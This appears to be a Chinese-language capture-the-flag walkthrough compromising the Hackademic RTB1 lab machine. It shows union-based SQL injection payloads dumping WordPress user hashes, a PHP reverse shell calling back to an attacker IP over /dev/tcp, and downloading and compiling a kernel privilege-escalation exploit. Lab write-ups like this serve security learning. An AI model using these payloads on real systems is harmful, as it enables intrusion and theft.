Hackdamic渗透

扫描虚拟机

编辑虚拟机设置

信息收集

Nmap扫描

可以看到开放的端口和对应的服务

Port service
22/tcp ssh
80/tcp web

Attempt to access port 80

scan information on web page

Plug-in viewing framework

http://192.168.182.131/Hackademic_RTB1/?p=’…’

http://192.168.182.131/Hackademic_RTB1/?cat=1

反弹shell

使用dirsearch scan

没有结果,换一个路径

找到后台

有两种方法:1. sql注入

​ 2. 弱密码爆破

查看网页源代码看看有没有cms的信息

我们直接看到这个cms是WordPress的1.5.1.1版本。然后可以searchsploit一下有啥漏洞:

重点观察版本匹配的开头两个,说存在SQL注入,因此接下来的渗透重点关注SQL注入

尝试SQL注入吧,在参数最后加一个引号,把参数改为cat=1’

报错了,而且回显了数据库查询语句:SELECT * FROM wp_categories WHERE cat_ID = 1\' LIMIT 1

先尝试获取数据库到底有多少列,通过order by [num]的方法(按照第[num]列排序),只要页面没有出现报错,就说明数据库至少有[num]列。order by 5是的界面如下

order by 6时出现了报错,说明数据库中一共有5列数据:

接下来用联合查询的方法进行注入,思考SQL查询语句,要保证后台执行我们的联合查询union select语句,只要将cat_ID的值设置为0,这样就无法查询到结果,相当于只执行了union select的语句。如果将url中的参数改为cat=0 union select 1,2,3,4,5那么SQL查询语句将会是:

1
SELECT * FROM wp_categories WHERE cat_ID = 0 union select 1,2,3,4,5 LIMIT 1

LIMIT 1限制了只会显示一条结果,由于SELECT * FROM wp_categories WHERE cat_ID = 0无法查询到结果,因此相当于只执行了select 1,2,3,4,5 LIMIT 1,界面如下:

此处非常关键,注意上图中引号内的内容变为了2,因此select 1,2,3,4,5这个语句中2的位置可以进行查询,并回显到前端,我们可以把2修改为version()以查询MySQL的版本,这样参数修改为cat = 0 union select 1,version(),3,4,5结果如下:

回显了版本

由于WordPress是非常著名的cms,他的配置是固定的,可以Google查到WordPress1.5.1.1对应的数据库结构

找到了wordpress 1.5.1版本下存在的表的结构,有一个名为wp_users的表,下面有user_login,user_pass,user_level(用户名,密码,权限)等关心的列

1
select id,user_login,user_pass,user_level from wp-users

比如可以查询user_login试试cat=0 union select 1,user_login,3,4,5 from wp_users

成功查到了一天账号GeorgeMiller,但受限于LIMIT 1,我们只看到了这一个用户,此时可以用group_concat函数让一行内显示所有信息:

1
cat=0 union select 1,group_concat(user_login),3,4,5 from wp_users

把id,user_login,user_pass ,user_level这几个都注入出来

可以找到权限级别user_level最高的用户是GeorgeMiller,他的user_level是10,然后我们破解他的密码哈希7cbb3252ba6b7e9c422fac5334d22054

很容易得到是md5,然后找个在线网站Decrypt MD5, SHA1, MySQL, NTLM, SHA256, MD5 Email, SHA256 Email, SHA512, Wordpress, Bcrypt hashes for free online破解即可:

密码是q1w2e3

下面通过用户名GeorgeMiller,密码q1w2e3登录WordPress后台

设置允许php文件上传

设置成功后,我们可以发现菜单中出现了Upload界面,我们可以上传一个反弹shell的php文件,即shell.php,代码如下,其中10.10.10.128是kali的ip,1234是一会接收shell的端口:

1
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.128/1234 0>&1'"); ?> 

上传成功且路径是/wp-content/,下面只要开启nc监听,并访问/wp-content/shell.php即可接收到反弹shell

nc监听成功收到了反弹shell

最后进行内核提权

先用python增强shell的交互性:

python -c “import pty;pty.spawn(‘/bin/bash’)”

查看当前用户,是apache,然后查看内核版本,是2.6.31

用sudo -l查看当前用户权限:需要密码。此路不通

由于22端口的SSH服务没有开放,所以对于提权来说,寻找SSH登录密码是没有意义的,而我们看到的内核版本又比较老旧,因此可采用内核提权的方法。在searchsploit中搜索Linux kernel 2.6.3版本的提权漏洞

1
searchsploit linux kernel 2.6.3 | grep -i 'Privilege Escalation' 

尝试15258.c,发现可以提权,过程如下,先把漏洞利用文件下载下来

然后把他传到靶机的/tmp目录下,先在kali中启动一个http服务:

php -S 0:80

然后在靶机/tmp目录下wget,把kali中的15285.c下载下来:

在靶机中用gcc编译,就直接命名为15285得了

然后直接运行即可提权

进入/root目录,查看key.txt

成功拿到flag